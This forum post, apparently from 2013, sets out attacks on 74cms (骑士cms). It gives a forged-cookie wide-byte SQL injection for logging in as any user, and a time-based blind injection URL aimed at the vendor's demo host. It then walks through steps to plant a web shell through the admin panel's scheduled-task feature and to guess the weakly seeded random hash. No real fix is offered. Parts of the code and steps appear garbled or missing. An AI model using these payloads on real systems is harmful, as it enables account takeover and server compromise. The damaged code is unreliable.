寻路者 发表于 2013-01-07 16:50:49

骑士cms注入及后台拿shell

0x1 任意用户登录

  0x2 盲注

  0x3 后台拿shell

  0x4 随机函数问题

  详细说明:

  0x1 任意用户登录

  user/login.php

  elseif((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])

  {

  if(check_cookie($_COOKIE['QS']['username'],$_COOKIE['QS']['password']))

  {

  update_user_info($_COOKIE['QS']['uid'],false,false);

  header("Location:".get_member_url($_SESSION['utype']));

  }

  else

  {

  unset($_SESSION['uid'],$_SESSION['username'],$_SESSION['utype'],$_SESSION['uqqid'],$_SESSION['activate_username'],$_SESSION['activate_email'],$_SESSION["openid"]);

  setcookie("QS","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);

  setcookie('QS',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);

  setcookie('QS',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);

  setcookie("QS","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);

  header("Location:".url_rewrite('QS_login'));

  }

  }

  include/fun_user.php

  //检测COOKIE

  function check_cookie($name,$pwd){

  global $db;

  $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE username='{$name}' and password = '{$pwd}'");

  if($row['num'] > 0)

  {

  return true;

  }else{

  return false;

  }

  }

  构造cookie如下

  QS 2

  QS 1

  QS 111111111111111111111

  QS%bf%27 or 1=1 %23

  uid 为假冒用户的ID utype为用户类型password任意

  0x2 盲注

  http://demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%23

  上面两个都是宽字节注入,如果你能猜出管理员密码,还能解出双重md5的话,还能猜出后台路径,继续看下面

  0x3 后台拿shell

  1.先关闭csrf防御功能

  2.在hr工具箱中添加一个伪造的doc,内容为,记下路径data/hrtools/2012/06/1339941553308.doc

  3.在工具-计划任务中添加任务,脚本任务填../../data/hrtools/2012/06/1339941553308.doc

  4.然后执行

  0x4 随机函数问题(几乎可以无视,纯属个人YY)

  在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的,只要能猜出就可已不用解双重md5了。

  这个$QS_pwdhash是由randstr生成

  function randstr($length=6)

  {

  $hash='';

  $chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';

  $max=strlen($chars)-1;

  mt_srand((double)microtime()*1000000);

  for($i=0;$i<$length;$i++) {

  $hash.=$chars;

  }

  return $hash;

  }

  生成长度为6的随机数,mt_srand()播种一样,就会得到一样的随机数,所以我们最多要猜1000000次就可以了(蛋疼)

  漏洞证明:

  修复方案:

  do it yourself~

解决一切网站安全,湖盟云防火墙:hnhack.com

leonseo444 发表于 2026-01-07 03:59:27

学习到了,之前一直没注意过这个点,受教了

彼岸花 发表于 2026-03-13 13:46:09

刚好遇到类似问题,看完这个帖子心里有底了
页: [1]
查看完整版本: 骑士cms注入及后台拿shell